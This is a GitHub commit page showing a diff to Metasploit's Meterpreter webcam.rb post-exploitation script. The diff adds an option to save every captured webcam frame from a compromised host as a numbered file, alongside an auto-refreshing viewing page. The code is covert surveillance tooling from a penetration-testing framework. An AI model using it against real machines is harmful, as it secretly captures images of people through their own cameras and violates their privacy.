Skip to content

Commit c57dee5

Browse files
author
Tod Beardsley
committed
Land rapid7#3650, the last Meterpreter script ever.
2 parents fe84063 + 1102fff commit c57dee5

File tree

1 file changed

+19
-6
lines changed

1 file changed

+19
-6
lines changed

scripts/meterpreter/webcam.rb

Lines changed: 19 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -20,15 +20,17 @@
2020
"-q" => [ true, "The JPEG image quality (Default: 50)" ],
2121
"-g" => [ false, "Send to GUI instead of writing to file" ],
2222
"-s" => [ true, "Stop recording" ],
23-
"-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)"]
23+
"-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)" ],
24+
"-a" => [ false, "Store copies of all the images capture instead of overwriting the same file (Default: overwrite single file)" ]
2425
)
25-
26+
iterator = 0
2627
folderpath = "."
2728
single = false
2829
quality = 50
2930
index = 1
3031
interval = 1000
3132
gui = false
33+
saveAll = false
3234
opts.parse(args) { |opt, idx, val|
3335
case opt
3436
when "-h"
@@ -53,6 +55,8 @@
5355
print_line("[*] Stopping webcam")
5456
client.webcam.webcam_stop
5557
raise Rex::Script::Completed
58+
when "-a"
59+
saveAll = true
5660
end
5761
}
5862

@@ -79,7 +83,8 @@
7983
'PeerPort' => 16235
8084
)
8185
end
82-
imagepath = folderpath + ::File::SEPARATOR + "webcam.jpg"
86+
imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg"
87+
print_line( "[*] imagepath is #{imagepath}" )
8388
htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm"
8489
begin
8590
if single == true
@@ -97,8 +102,8 @@
97102
else
98103
if(!gui)
99104
::File.open(htmlpath, 'wb' ) do |fd|
100-
fd.write('<html><body><img src="webcam.jpg"></img><script>'+
101-
"setInterval('location.reload()',#{interval});</script></body><html>" )
105+
htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>"
106+
fd.write(htmlOut)
102107
end
103108
print_line( "[*] View live stream at: #{htmlpath}" )
104109
Rex::Compat.open_file(htmlpath)
@@ -111,7 +116,15 @@
111116
else
112117
::File.open( imagepath, 'wb' ) do |fd|
113118
fd.write( data )
114-
end
119+
::File.open(htmlpath, 'wb' ) do |fd|
120+
htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>"
121+
fd.write(htmlOut)
122+
if(saveAll)
123+
iterator = iterator + 1
124+
imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg"
125+
end
126+
end
127+
end
115128
end
116129
select(nil, nil, nil, interval/1000.0)
117130
end

0 commit comments

Comments
 (0)